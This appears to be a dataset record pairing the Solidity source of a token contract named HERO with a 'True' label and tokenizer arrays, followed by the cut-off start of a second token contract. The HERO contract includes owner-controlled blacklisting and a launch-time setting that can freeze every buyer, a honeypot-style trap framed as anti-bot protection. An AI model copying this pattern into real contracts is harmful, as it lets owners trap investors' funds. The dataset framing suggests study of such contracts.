1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/**
██████████
████████ ██████████
██████ ██████
██████ ██████
████ ████
████ ████
████ ██ ██████████ ██ ████
██ ██████ ██████ ██████ ██
████ ██████████ ████████ ██████████ ████
██ ████████████ ████████ ████████████ ██
████ ██ ████████████ ████████████ ████████████ ██ ████
██ ████ ██████████████████████████████████████ ████ ██
████ ██████ ██████████████████████████████████ ██████ ████
██ ████████ ██████████████████████████████ ██ ██████ ██
██ ██████ ████ ██████████████████████████ ██████ ████ ██
██ ████ ████████ ████████████████████████ ██████████ ██ ██
██ ██████████ ████████████████████ ████████████ ██
██ ████████████ ██ ████████████████ ██ ████████████ ██
██ ██████████ ██████ ████████████ ██████ ██████████ ██
██ ████████ ██████████ ████████ ██████████ ████████ ██
████ ████ ██████████ ██ ████ ██ ██████████ ████ ████
██ ████████████ ██████ ██████ ████████████ ██ ██
████ ████████████ ██████ ██████ ████████████ ████
██ ██████████ ████████████████████ ██████████ ██
████ ██████ ████████████████████████ ██████ ████
████ ██ ██████████████████████████ ██ ████
████ ████████████████████████████ ████
████ ████████████████████████████████ ████
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function factory() external view returns (address);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
}
_transfer(sender, recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract HERO is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping (address => bool) public isBot;
bool private _swapping;
uint256 private _launchTime;
address private marketingWallet;
address private devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
constructor() ERC20("HERO", "HERO") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 5;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 5;
uint256 totalSupply = 1 * 1e9 * 1e18;
maxTransactionAmount = totalSupply * 2 / 100; // 2% maxTransactionAmountTxn
maxWallet = totalSupply * 3 / 100; // 3% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
// Set Fees
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
// Set Fee Wallet
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
_launchTime = block.timestamp.add(1);
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) {
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * 1e18;
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * 1e18;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
// Variable Block - once enabled, can never be turned off
function enableTrading(uint256 Bblock) external onlyOwner {
tradingActive = true;
_launchTime = block.timestamp.add(Bblock);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function addBots(address[] memory bots) public onlyOwner() {
for (uint i = 0; i < bots.length; i++) {
if (bots[i] != uniswapV2Pair && bots[i] != address(uniswapV2Router)) {
isBot[bots[i]] = true;
}
}
}
function removeBots(address[] memory bots) public onlyOwner() {
for (uint i = 0; i < bots.length; i++) {
isBot[bots[i]] = false;
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!isBot[from], "Your address has been marked as a bot/sniper, you are unable to transfer or swap.");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (block.timestamp < _launchTime) isBot[to] = true;
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!_swapping
) {
if (!tradingActive) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
// On buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
// On sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!_swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
_swapping = true;
swapBack();
_swapping = false;
}
bool takeFee = !_swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) takeFee = false;
uint256 fees = 0;
// Only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// On sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
_swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
_addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
} | True | [
101,
1013,
1008,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
2340,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
4502,
4313,
1063,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
3853,
2171,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
6454,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
5760,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
19948,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
3815,
2692,
2378,
1010,
21318,
3372,
3815,
2487,
2378,
1010,
21318,
3372,
3815,
2692,
5833,
1010,
21318,
3372,
3815,
2487,
5833,
1010,
4769,
25331,
2000,
1007,
1025,
2724,
26351,
1006,
21318,
3372,
14526,
2475,
3914,
2692,
1010,
21318,
3372,
14526,
2475,
3914,
2487,
1007,
1025,
3853,
4713,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
19948,
1006,
21318,
3372,
3815,
2692,
5833,
1010,
21318,
3372,
3815,
2487,
5833,
1010,
4769,
2000,
1010,
27507,
2655,
2850,
2696,
2951,
1007,
6327,
1025,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
21450,
1063,
3853,
3443,
4502,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/**
*Submitted for verification at Etherscan.io on 2021-09-28
*/
/**
██ ███████ █████ ██ ██████ ██ ██ █████ ██ ███ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██
██ ███████ ███████ ██ ██ ███████ ███████ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ███████ ██ ██ ███████ ██████ ██ ██ ██ ██ ██ ██ ████
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
